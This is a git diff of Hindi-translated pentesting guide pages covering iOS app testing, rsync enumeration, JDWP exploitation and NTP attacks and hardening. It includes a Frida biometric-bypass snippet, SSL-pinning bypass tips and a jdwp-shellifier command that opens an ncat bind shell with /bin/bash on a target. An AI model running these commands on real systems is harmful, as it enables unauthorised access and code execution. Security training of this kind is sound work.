स्थानीय प्रमाणीकरण के **bypass** को प्राप्त करने के लिए, एक Frida स्क्रिप्ट लिखी गई है। यह स्क्रिप्ट **evaluatePolicy** जांच को लक्षित करती है, इसके कॉलबैक को इंटरसेप्ट करते हुए यह सुनिश्चित करती है कि यह **success=1** लौटाए। कॉलबैक के व्यवहार को बदलकर, प्रमाणीकरण जांच को प्रभावी रूप से बायपास किया जाता है।
नीचे दी गई स्क्रिप्ट **evaluatePolicy** विधि के परिणाम को संशोधित करने के लिए इंजेक्ट की गई है। यह हमेशा सफलता को इंगित करने के लिए कॉलबैक के परिणाम को बदलती है।
नीचे दी गई स्क्रिप्ट **evaluatePolicy** विधि के परिणाम को संशोधित करने के लिए इंजेक्ट की गई है। यह कॉलबैक के परिणाम को हमेशा सफलता को इंगित करने के लिए बदल देती है।
```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
@ -964,7 +964,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
```
## संवेदनशील कार्यक्षमता का प्रदर्शन IPC के माध्यम से
### कस्टम URI हैंडलर / डीपलिंक्स / कस्टम स्कीम
### कस्टम URI हैंडलर / डीपलिंक / कस्टम स्कीम
{{#ref}}
ios-custom-uri-handlers-deeplinks-custom-schemes.md
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
## नेटवर्क संचार
यह सुनिश्चित करना महत्वपूर्ण है कि कोई संचार **बिना एन्क्रिप्शन** के नहीं हो रहा है और यह भी कि एप्लिकेशन सर्वर के TLS प्रमाणपत्र को सही तरीके से **मान्य कर रहा है**।\
यह महत्वपूर्ण है कि यह जांचें कि कोई संचार **बिना एन्क्रिप्शन** के नहीं हो रहा है और यह भी कि एप्लिकेशन सर्वर के TLS प्रमाणपत्र को सही तरीके से **मान्य कर रहा है**।\
इन प्रकार के मुद्दों की जांच करने के लिए आप **Burp** जैसे प्रॉक्सी का उपयोग कर सकते हैं:
{{#ref}}
@ -1022,8 +1022,8 @@ TLS प्रमाणपत्र को मान्य करने में
### प्रमाणपत्र पिनिंग
यदि एक एप्लिकेशन सही तरीके से SSL पिनिंग का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही हो जो अपेक्षित हो। जब एक एप्लिकेशन का परीक्षण करते समय **यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र प्रदान करेगा।**\
एक जेलब्रोकन डिवाइस के अंदर इस सुरक्षा को बायपास करने के लिए, आप [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) एप्लिकेशन इंस्टॉल कर सकते हैं या [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) इंस्टॉल कर सकते हैं।
यदि एक एप्लिकेशन सही तरीके से SSL पिनिंग का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही हो जो अपेक्षित हो। जब आप एक एप्लिकेशन का परीक्षण कर रहे हैं **तो यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र प्रदान करेगा।**\
इस सुरक्षा को बायपास करने के लिए, एक जेलब्रोकन डिवाइस के अंदर, आप [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) एप्लिकेशन इंस्टॉल कर सकते हैं या [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) इंस्टॉल कर सकते हैं।
आप **objection's** `ios sslpinning disable` का भी उपयोग कर सकते हैं।
@ -1033,26 +1033,26 @@ TLS प्रमाणपत्र को मान्य करने में
- App Store से उपयोगकर्ता द्वारा इंस्टॉल की गई एप्लिकेशन **`/User/Applications`** के अंदर स्थित हैं।
- और **`/User/Library`** में उपयोगकर्ता स्तर की एप्लिकेशनों द्वारा सहेजे गए डेटा होते हैं।
- आप **`/User/Library/Notes/notes.sqlite`** तक पहुँच सकते हैं ताकि एप्लिकेशन के अंदर सहेजे गए नोट्स को पढ़ सकें।
- एक इंस्टॉल की गई एप्लिकेशन के फ़ोल्डर के अंदर (**`/User/Applications/<APP ID>/`**) आप कुछ दिलचस्प फ़ाइलें पा सकते हैं:
- एक इंस्टॉल की गई एप्लिकेशन के फ़ोल्डर (**`/User/Applications/<APP ID>/`**) के अंदर आप कुछ दिलचस्प फ़ाइलें पा सकते हैं:
- **`iTunesArtwork`**: ऐप द्वारा उपयोग किया जाने वाला आइकन
- **`iTunesMetadata.plist`**: App Store में उपयोग की जाने वाली ऐप की जानकारी
- **`iTunesMetadata.plist`**: ऐप की जानकारी जो App Store में उपयोग की जाती है
- **`/Library/*`**: प्राथमिकताएँ और कैश शामिल हैं। **`/Library/Cache/Snapshots/*`** में आप एप्लिकेशन को बैकग्राउंड में भेजने से पहले किए गए स्नैपशॉट को पा सकते हैं।
### हॉट पैचिंग/अनिवार्य अपडेटिंग
डेवलपर्स अपने ऐप के सभी इंस्टॉलेशन को तुरंत **पैच** कर सकते हैं बिना एप्लिकेशन को App Store में फिर से सबमिट किए और इसके स्वीकृत होने की प्रतीक्षा किए।\
डेवलपर्स अपने ऐप के सभी इंस्टॉलेशन को तुरंत **पैच कर सकते हैं** बिना एप्लिकेशन को App Store में फिर से सबमिट किए और इसके स्वीकृत होने की प्रतीक्षा किए।\
इसके लिए आमतौर पर [**JSPatch**](https://github.com/bang590/JSPatch)** का उपयोग किया जाता है।** लेकिन अन्य विकल्प भी हैं जैसे [Siren](https://github.com/ArtSabintsev/Siren) और [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)।\
**यह एक खतरनाक तंत्र है जिसे दुर्भावनापूर्ण तृतीय पक्ष SDK द्वारा दुरुपयोग किया जा सकता है, इसलिए यह अनुशंसा की जाती है कि स्वचालित अपडेटिंग के लिए कौन सा तरीका उपयोग किया जा रहा है (यदि कोई हो) की जांच करें और इसका परीक्षण करें।** आप इस उद्देश्य के लिए ऐप का एक पिछला संस्करण डाउनलोड करने का प्रयास कर सकते हैं।
**यह एक खतरनाक तंत्र है जिसे दुर्भावनापूर्ण तृतीय पक्ष SDKs द्वारा दुरुपयोग किया जा सकता है, इसलिए यह अनुशंसा की जाती है कि स्वचालित अपडेटिंग के लिए उपयोग की जाने वाली विधि (यदि कोई हो) की जांच करें और इसका परीक्षण करें।** आप इस उद्देश्य के लिए ऐप का एक पिछला संस्करण डाउनलोड करने का प्रयास कर सकते हैं।
### तृतीय पक्ष
**3rd पार्टी SDKs** के साथ एक महत्वपूर्ण चुनौती उनके कार्यात्मकताओं पर **सूक्ष्म नियंत्रण की कमी** है। डेवलपर्स के पास एक विकल्प होता है: या तो SDK को एकीकृत करें और इसकी सभी सुविधाओं को स्वीकार करें, जिसमें संभावित सुरक्षा कमजोरियाँ और गोपनीयता संबंधी चिंताएँ शामिल हैं, या इसके लाभों को पूरी तरह से छोड़ दें। अक्सर, डेवलपर्स इन SDKs में कमजोरियों को स्वयं पैच करने में असमर्थ होते हैं। इसके अलावा, जैसे-जैसे SDKs समुदाय में विश्वास प्राप्त करते हैं, कुछ में मैलवेयर शामिल हो सकता है।
**3rd पार्टी SDKs** के साथ एक महत्वपूर्ण चुनौती उनके कार्यात्मकताओं पर **सूक्ष्म नियंत्रण की कमी** है। डेवलपर्स के पास एक विकल्प होता है: या तो SDK को एकीकृत करें और इसकी सभी सुविधाओं को स्वीकार करें, जिसमें संभावित सुरक्षा कमजोरियाँ और गोपनीयता संबंधी चिंताएँ शामिल हैं, या इसके लाभों को पूरी तरह से छोड़ दें। अक्सर, डेवलपर्स इन SDKs के भीतर कमजोरियों को स्वयं पैच करने में असमर्थ होते हैं। इसके अलावा, जैसे-जैसे SDKs समुदाय में विश्वास प्राप्त करते हैं, कुछ में मैलवेयर शामिल हो सकता है।
तीसरे पक्ष के SDKs द्वारा प्रदान की जाने वाली सेवाओं में उपयोगकर्ता व्यवहार ट्रैकिंग, विज्ञापन प्रदर्शन, या उपयोगकर्ता अनुभव में सुधार शामिल हो सकते हैं। हालाँकि, यह एक जोखिम प्रस्तुत करता है क्योंकि डेवलपर्स इन पुस्तकालयों द्वारा निष्पादित कोड के बारे में पूरी तरह से अवगत नहीं हो सकते हैं, जिससे संभावित गोपनीयता और सुरक्षा जोखिम हो सकते हैं। यह महत्वपूर्ण है कि तीसरे पक्ष की सेवाओं के साथ साझा की गई जानकारी को आवश्यकतानुसार सीमित किया जाए और यह सुनिश्चित किया जाए कि कोई संवेदनशील डेटा उजागर न हो।
तीसरे पक्ष के SDKs द्वारा प्रदान की जाने वाली सेवाओं में उपयोगकर्ता व्यवहार ट्रैकिंग, विज्ञापन प्रदर्शन, या उपयोगकर्ता अनुभव में सुधार शामिल हो सकते हैं। हालाँकि, यह एक जोखिम प्रस्तुत करता है क्योंकि डेवलपर्स को इन लाइब्रेरी द्वारा निष्पादित कोड के बारे में पूरी जानकारी नहीं हो सकती है, जिससे संभावित गोपनीयता और सुरक्षा जोखिम हो सकते हैं। यह महत्वपूर्ण है कि तीसरे पक्ष की सेवाओं के साथ साझा की गई जानकारी को आवश्यकतानुसार सीमित किया जाए और यह सुनिश्चित किया जाए कि कोई संवेदनशील डेटा उजागर न हो।
तीसरे पक्ष की सेवाओं का कार्यान्वयन आमतौर पर दो रूपों में आता है: एक स्वतंत्र पुस्तकालय या एक पूर्ण SDK। उपयोगकर्ता की गोपनीयता की रक्षा के लिए, इन सेवाओं के साथ साझा किए गए किसी भी डेटा को **गुमनाम** किया जाना चाहिए ताकि व्यक्तिगत पहचान योग्य जानकारी (PII) का खुलासा न हो।
एक एप्लिकेशन द्वारा उपयोग की जाने वाली पुस्तकालयों की पहचान करने के लिए, **`otool`** कमांड का उपयोग किया जा सकता है। इस उपकरण को एप्लिकेशन और इसके द्वारा उपयोग की जाने वाली प्रत्येक साझा पुस्तकालय के खिलाफ चलाया जाना चाहिए ताकि अतिरिक्त पुस्तकालयों का पता लगाया जा सके।
एक एप्लिकेशन द्वारा उपयोग की जाने वाली लाइब्रेरी की पहचान करने के लिए, **`otool`** कमांड का उपयोग किया जा सकता है। इस उपकरण को एप्लिकेशन और इसके द्वारा उपयोग की जाने वाली प्रत्येक साझा लाइब्रेरी के खिलाफ चलाया जाना चाहिए ताकि अतिरिक्त लाइब्रेरी का पता लगाया जा सके।
```bash
otool -L <application_path>
```

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** एक उपयोगिता है जो कुशलता से [transferring](https://en.wikipedia.org/wiki/File_transfer) और [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) को एक कंप्यूटर और एक बाहरी हार्ड ड्राइव के बीच और [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) के बीच फ़ाइलों के [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) और आकारों की तुलना करके करती है।[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) यह आमतौर पर [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system) पर पाया जाता है। rsync एल्गोरिदम एक प्रकार का [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) है, और इसका उपयोग नेटवर्क उपयोग को कम करने के लिए किया जाता है। [Zlib](https://en.wikipedia.org/wiki/Zlib) अतिरिक्त [data compression](https://en.wikipedia.org/wiki/Data_compression) के लिए उपयोग किया जा सकता है,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) और [SSH](https://en.wikipedia.org/wiki/Secure_Shell) या [stunnel](https://en.wikipedia.org/wiki/Stunnel) सुरक्षा के लिए उपयोग किया जा सकता है।
> **rsync** एक उपयोगिता है जो कुशलता से [transferring](https://en.wikipedia.org/wiki/File_transfer) और [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) को एक कंप्यूटर और एक बाहरी हार्ड ड्राइव के बीच और [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) के बीच फ़ाइलों के [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) और आकारों की तुलना करके करती है।[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) यह आमतौर पर [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system) पर पाई जाती है। rsync एल्गोरिदम एक प्रकार का [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) है, और इसका उपयोग नेटवर्क उपयोग को कम करने के लिए किया जाता है। [Zlib](https://en.wikipedia.org/wiki/Zlib) अतिरिक्त [data compression](https://en.wikipedia.org/wiki/Data_compression) के लिए उपयोग किया जा सकता है,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) और [SSH](https://en.wikipedia.org/wiki/Secure_Shell) या [stunnel](https://en.wikipedia.org/wiki/Stunnel) सुरक्षा के लिए उपयोग किया जा सकता है।
**डिफ़ॉल्ट पोर्ट:** 873
```
@ -15,7 +15,7 @@ PORT STATE SERVICE REASON
```
## Enumeration
### बैनर और मैनुअल संचार
### Banner & Manual communication
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
ध्यान दें कि कुछ शेयर सूची में नहीं दिखाई दे सकते हैं, संभवतः उन्हें छिपा दिया गया है। इसके अतिरिक्त, कुछ शेयरों तक पहुँच विशेष **credentials** द्वारा सीमित हो सकती है, जिसे **"Access Denied"** संदेश द्वारा दर्शाया गया है।
ध्यान दें कि कुछ शेयर सूची में नहीं दिखाई दे सकते हैं, संभवतः उन्हें छिपा दिया गया है। इसके अतिरिक्त, कुछ शेयरों तक पहुँच विशेष **credentials** पर सीमित हो सकती है, जिसे **"Access Denied"** संदेश द्वारा दर्शाया गया है।
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### मैनुअल Rsync उपयोग
**module list** प्राप्त करने के बाद, क्रियाएँ इस पर निर्भर करती हैं कि क्या प्रमाणीकरण की आवश्यकता है। प्रमाणीकरण के बिना, साझा फ़ोल्डर से स्थानीय निर्देशिका में फ़ाइलों को **listing** और **copying** करना निम्नलिखित के माध्यम से किया जाता है:
**module list** प्राप्त करने के बाद, क्रियाएँ इस पर निर्भर करती हैं कि क्या प्रमाणीकरण की आवश्यकता है। प्रमाणीकरण के बिना, एक साझा फ़ोल्डर से स्थानीय निर्देशिका में फ़ाइलों को **listing** और **copying** करना संभव है:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -78,7 +78,7 @@ rsyncd कॉन्फ़िगरेशन फ़ाइल को खोजन
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
इस फ़ाइल के भीतर, एक _secrets file_ पैरामीटर एक फ़ाइल की ओर इशारा कर सकता है जिसमें **उपयोगकर्ता नाम और पासवर्ड** rsyncd प्रमाणीकरण के लिए होते हैं।
इस फ़ाइल में, एक _secrets file_ पैरामीटर एक फ़ाइल की ओर इशारा कर सकता है जिसमें **उपयोगकर्ता नाम और पासवर्ड** rsyncd प्रमाणीकरण के लिए होते हैं।
## संदर्भ

View File

@ -6,7 +6,7 @@
JDWP शोषण **प्रोटोकॉल की प्रमाणीकरण और एन्क्रिप्शन की कमी** पर निर्भर करता है। यह सामान्यतः **पोर्ट 8000** पर पाया जाता है, लेकिन अन्य पोर्ट भी संभव हैं। प्रारंभिक कनेक्शन "JDWP-Handshake" को लक्षित पोर्ट पर भेजकर बनाया जाता है। यदि JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ प्रतिक्रिया देती है, इसकी उपस्थिति की पुष्टि करती है। यह हैंडशेक नेटवर्क पर JDWP सेवाओं की पहचान के लिए एक फिंगरप्रिंटिंग विधि के रूप में कार्य करता है।
प्रक्रिया पहचान के संदर्भ में, Java प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज करना एक सक्रिय JDWP सत्र को इंगित कर सकत है।
प्रक्रिया पहचान के संदर्भ में, Java प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज एक सक्रिय JDWP सत्र को इंगित कर सकत है।
उपयोग करने के लिए सबसे अच्छा उपकरण [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier) है। आप इसे विभिन्न पैरामीटर के साथ उपयोग कर सकते हैं:
```bash
@ -14,7 +14,7 @@ JDWP शोषण **प्रोटोकॉल की प्रमाणीक
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
मैंने पाया कि `--break-on 'java.lang.String.indexOf'` का उपयोग करने से एक्सप्लॉइट अधिक **स्थिर** हो जाता है। और यदि आपके पास होस्ट पर एक बैकडोर अपलोड करने और उसे कमांड चलाने के बजाय निष्पादित करने का मौका है, तो एक्सप्लॉइट और भी अधिक स्थिर होगा।
मैंने पाया कि `--break-on 'java.lang.String.indexOf'` का उपयोग **स्थिरता** को बढ़ाता है। और यदि आपके पास होस्ट पर एक बैकडोर अपलोड करने और उसे कमांड चलाने के बजाय निष्पादित करने का मौका है, तो यह एक्सप्लॉइट और भी अधिक स्थिर होगा।
## अधिक विवरण
@ -37,11 +37,11 @@ JDWP शोषण **प्रोटोकॉल की प्रमाणीक
4. **शोषण**:
- JDWP मनमाने वर्गों और बाइटकोड को लोड और निष्पादित करने की अनुमति देता है, जो सुरक्षा जोखिम पैदा करता है।
- लेख में पांच चरणों में एक शोषण प्रक्रिया का विवरण दिया गया है, जिसमें जावा रनटाइम संदर्भों को लाना, ब्रेकपॉइंट सेट करना, और विधियों को कॉल करना शामिल है।
- लेख में पांच चरणों में एक शोषण प्रक्रिया का विवरण दिया गया है, जिसमें Java Runtime संदर्भों को लाना, ब्रेकपॉइंट सेट करना, और विधियों को निष्पादित करना शामिल है।
5. **वास्तविक जीवन में शोषण**:
- संभावित फ़ायरवॉल सुरक्षा के बावजूद, JDWP सेवाएँ खोजने योग्य और वास्तविक दुनिया के परिदृश्यों में शोषण योग्य हैं, जैसा कि ShodanHQ और GitHub जैसे प्लेटफार्मों पर खोजों द्वारा प्रदर्शित किया गया है।
- संभावित फ़ायरवॉल सुरक्षा के बावजूद, JDWP सेवाएँ वास्तविक दुनिया के परिदृश्यों में खोजी जा सकती हैं और शोषित की जा सकती हैं, जैसा कि ShodanHQ और GitHub जैसे प्लेटफार्मों पर खोजों द्वारा प्रदर्शित किया गया है।
- एक्सप्लॉइट स्क्रिप्ट को विभिन्न JDK संस्करणों के खिलाफ परीक्षण किया गया था और यह प्लेटफ़ॉर्म-स्वतंत्र है, जो विश्वसनीय रिमोट कोड निष्पादन (RCE) प्रदान करता है।
6. **सुरक्षा निहितार्थ**:
@ -56,7 +56,7 @@ JDWP शोषण **प्रोटोकॉल की प्रमाणीक
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)

View File

@ -13,8 +13,8 @@
- **सुरक्षा उपाय**:
- प्रमाणीकरण के साथ विश्वसनीय NTP या NTS (नेटवर्क टाइम सुरक्षा) स्रोतों का उपयोग करें।
- यह सीमित करें कि कौन डेमन को क्वेरी/कमांड कर सकता है (``restrict default noquery``, ``kod`` आदि)।
- पुराने मोड-6/7 नियंत्रण क्वेरी (``monlist``, ``ntpdc``) को अक्षम करें या उनकी दर को सीमित करें।
- छेड़छाड़ के लिए समन्वय ड्रिफ्ट/लीप-सेकंड स्थिति की निगरानी करें।
- पुराने मोड-6/7 नियंत्रण क्वेरी (``monlist``, ``ntpdc``) को निष्क्रिय करें या उनकी दर को सीमित करें।
- छेड़छाड़ के लिए समन्वय ड्रिफ्ट/लीप-सेकंड स्थिति की निगरानी करें।
- डेमन को अपडेट रखें (नीचे हाल के CVEs देखें)।
**डिफ़ॉल्ट पोर्ट्स**
@ -80,33 +80,33 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
| वर्ष | CVE | घटक | प्रभाव |
|------|-----|-----------|--------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | कई आउट-ऑफ-बाउंड लिखने योग्य **ntpq** प्रतिक्रियाओं के माध्यम से। **4.2.8p16** में पैच 🡒 अपग्रेड या बैक-पोर्ट फिक्स। citeturn1search1turn1search2turn1search0|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust कार्यान्वयन) | गलत फ़ॉर्मेट वाला **NTS** कुकी दूरस्थ **DoS** का कारण बनता है v0.3.3 से पहले पोर्ट 123 को प्रभावित करत है जब NTS **अक्षम** हो। citeturn4view0|
| 2024 | वितरण अपडेट | **chrony 4.4 / 4.5** कई सुरक्षा हार्डनिंग और NTS-KE फिक्स (जैसे SUSE-RU-2024:2022) citeturn2search2|
| 2024 | रिकॉर्ड DDoS | Cloudflare ने **5.6 Tbps UDP परावर्तन** हमले की रिपोर्ट की (NTP सहित प्रोटोकॉल में)। इंटरनेट-फेसिंग होस्ट पर *monitor* और *monlist* को अक्षम रखें। citeturn5search0|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** प्रतिक्रियाओं के माध्यम से पहुंच योग्य कई आउट-ऑफ-बाउंड लिखते हैं**4.2.8p16** में पैच 🡒 अपग्रेड या बैक-पोर्ट फिक्स करें। |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust कार्यान्वयन) | गलत स्वरूपित **NTS** कुकी दूरस्थ **DoS** का कारण बनती है v0.3.3 से पहले पोर्ट 123 को प्रभावित करत है जब NTS **अक्षम** हो। |
| 2024 | वितरण अपडेट | **chrony 4.4 / 4.5** कई सुरक्षा हार्डनिंग और NTS-KE फिक्स (जैसे SUSE-RU-2024:2022) |
| 2024 | रिकॉर्ड DDoS | Cloudflare ने **5.6 Tbps UDP परावर्तन** हमले की रिपोर्ट की (NTP उपयोग किए गए प्रोटोकॉल में से एक)। इंटरनेट-फेसिंग होस्ट पर *monitor* और *monlist* को अक्षम रखें। |
> **एक्सप्लॉइट किट**: 2023 ntpq OOB-write श्रृंखला के लिए प्रूफ-ऑफ-कॉन्सेप्ट पेलोड GitHub पर हैं (Meinberg लेख देखें) और इसे सिस्टम प्रशासकों के लिए क्लाइंट-साइड फ़िशिंग के लिए हथियारबंद किया जा सकता है। citeturn1search4
> **एक्सप्लॉइट किट**: 2023 ntpq OOB-write श्रृंखला के लिए प्रमाण-ऑफ-कॉन्सेप्ट पेलोड GitHub पर हैं (Meinberg लेख देखें) और इसे सिस्टम प्रशासकों के लिए क्लाइंट-साइड फ़िशिंग के लिए हथियारबंद किया जा सकता है।
---
## उन्नत हमले
### 1. NTP एम्प्लीफिकेशन / परावर्तन
विरासत मोड-7 ``monlist`` क्वेरी **600 होस्ट पते** तक लौटाती है और यह अभी भी हजारों इंटरनेट होस्ट पर मौजूद है। क्योंकि उत्तर (428-468 बाइट/प्रविष्टि) 8-बाइट अनुरोध से *~ 200×* बड़ा है, एक हमलावर तीन अंकों के एम्प्लीफिकेशन फैक्टर तक पहुच सकता है। शमन:
विरासत मोड-7 ``monlist`` क्वेरी **600 होस्ट पते** तक लौटाती है और अभी भी हजारों इंटरनेट होस्ट पर मौजूद है। क्योंकि उत्तर (428-468 बाइट/प्रविष्टि) 8-बाइट अनुरोध से *~ 200×* बड़ा है, एक हमलावर तीन अंकों के एम्प्लीफिकेशन फैक्टर तक पहुच सकता है। शमन:
- ntp 4.2.8p15+ पर अपग्रेड करें और ``disable monitor`` **जोड़ें**
- DDoS उपकरणों पर UDP/123 की दर-सीमा निर्धारित करें या *sessions-required* सक्षम करें।
- DDoS उपकरणों पर एज पर UDP/123 की दर-सीमा निर्धारित करें या *sessions-required* सक्षम करें।
- स्रोत स्पूफिंग को ब्लॉक करने के लिए *BCP 38* निकासी फ़िल्टरिंग सक्षम करें।
चरण-दर-चरण विवरण के लिए Cloudflare के लर्निंग-सेंटर लेख को देखें। citeturn5search1
चरण-दर-चरण विवरण के लिए Cloudflare के लर्निंग-सेंटर लेख को देखें।
### 2. समय-शिफ्ट / देरी हमले (Khronos / Chronos अनुसंधान)
प्रमाणीकरण के साथ भी, एक ऑन-पाथ हमलावर चुपचाप **क्लाइंट घड़ी** को पैकेट गिराकर/देरी देकर **शिफ्ट** कर सकता है। IETF **Khronos (पूर्व में Chronos) ड्राफ्ट** पृष्ठभूमि में विभिन्न सर्वरों को क्वेरी करने और परिणाम की सच्चाई की जांच करने का प्रस्ताव करता है ताकि > 𝚡 मिलीसेकंड का शिफ्ट पता लगाया जा सके। आधुनिक chrony (4.4+) पहले से ही एक समान सच्चाई फ़िल्टर (``maxdistance`` / ``maxjitter``) लागू करता है। citeturn9search1
प्रमाणीकरण के साथ भी, एक ऑन-पाथ हमलावर चुपचाप **क्लाइंट घड़ी** को पैकेट गिराकर/देरी करके **शिफ्ट** कर सकता है। IETF **Khronos (पूर्व में Chronos) ड्राफ्ट** पृष्ठभूमि में विभिन्न सर्वरों को क्वेरी करने और परिणाम की सच्चाई की जांच करने का प्रस्ताव करता है ताकि 𝚡 ms से अधिक शिफ्ट का पता लगाया जा सके। आधुनिक chrony (4.4+) पहले से ही एक समान सच्चाई फ़िल्टर (``maxdistance`` / ``maxjitter``) लागू करता है।
### 3. NTS दुरुपयोग और 4460/tcp एक्सपोजर
NTS भारी क्रिप्टो को एक अलग **TLS 1.3 चैनल पर 4460/tcp** (``ntske/1``) पर ले जाता है। खराब कार्यान्वयन (देखें CVE-2023-33192) कुकीज़ को पार्स करते समय क्रैश हो जाते हैं या कमजोर सिफर की अनुमति देते हैं। पेंटेस्टर्स को चाहिए:
NTS भारी क्रिप्टो को एक अलग **TLS 1.3 चैनल पर 4460/tcp** (``ntske/1``) पर ले जाता है। खराब कार्यान्वयन (देखें CVE-2023-33192) कुकीज़ को पार्स करते समय क्रैश हो जाते हैं या कमजोर सिफर की अनुमति देते हैं। Pentesters को चाहिए:
```bash
# TLS reconnaissance
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
# Grab banner & ALPN
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
```
स्व-हस्ताक्षरित या समाप्त प्रमाणपत्रों और कमजोर सिफर-सुइट्स (गैर-AEAD) की तलाश करें। संदर्भ: RFC 8915 §4. citeturn11search0
स्व-हस्ताक्षरित या समाप्त प्रमाणपत्रों और कमजोर सिफर-सुइट्स (गैर-AEAD) की तलाश करें। संदर्भ: RFC 8915 §4
---
## हार्डनिंग / सर्वोत्तम-वर्तमान-प्रथा (BCP-233 / RFC 8633)
@ -122,12 +122,12 @@ openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
*ऑपरेटर को चाहिए:*
1. **≥ 4** स्वतंत्र, विविध समय स्रोतों (सार्वजनिक पूल, GPS, PTP-ब्रिज) का उपयोग करें ताकि एकल-स्रोत विषाक्तता से बचा जा सके।
2. दुरुपयोगी ग्राहकों को पूर्ण प्रतिक्रियाओं के बजाय **Kiss-o'-Death** दर-सीमा पैकेट प्राप्त करने के लिए ``kod`` और ``limited``/``nomodify`` प्रतिबंध सक्षम करें।
2. ``kod`` और ``limited``/``nomodify`` प्रतिबंधों को सक्षम करें ताकि दुरुपयोग करने वाले क्लाइंट्स को पूर्ण प्रतिक्रियाओं के बजाय **Kiss-o'-Death** दर-सीमा पैकेट प्राप्त हों।
3. **panic** घटनाओं या चरण समायोजनों > 1000 सेकंड के लिए डेमन लॉग की निगरानी करें। (RFC 8633 §5.3 के अनुसार हमले के संकेत।)
4. कूद-सेकंड आउटेज से बचने के लिए **leap-smear** पर विचार करें, लेकिन सुनिश्चित करें कि *सभी* डाउनस्ट्रीम ग्राहक समान स्मियर विंडो का उपयोग करें।
5. कूद-सेकंड ध्वजों को न चूकने के लिए पोलिंग ≤24 घंटे रखें।
4. कूद-धुंधलापन से बचने के लिए **leap-smear** पर विचार करें, लेकिन सुनिश्चित करें कि *सभी* डाउनस्ट्रीम क्लाइंट्स एक ही धुंधलापन विंडो का उपयोग करें।
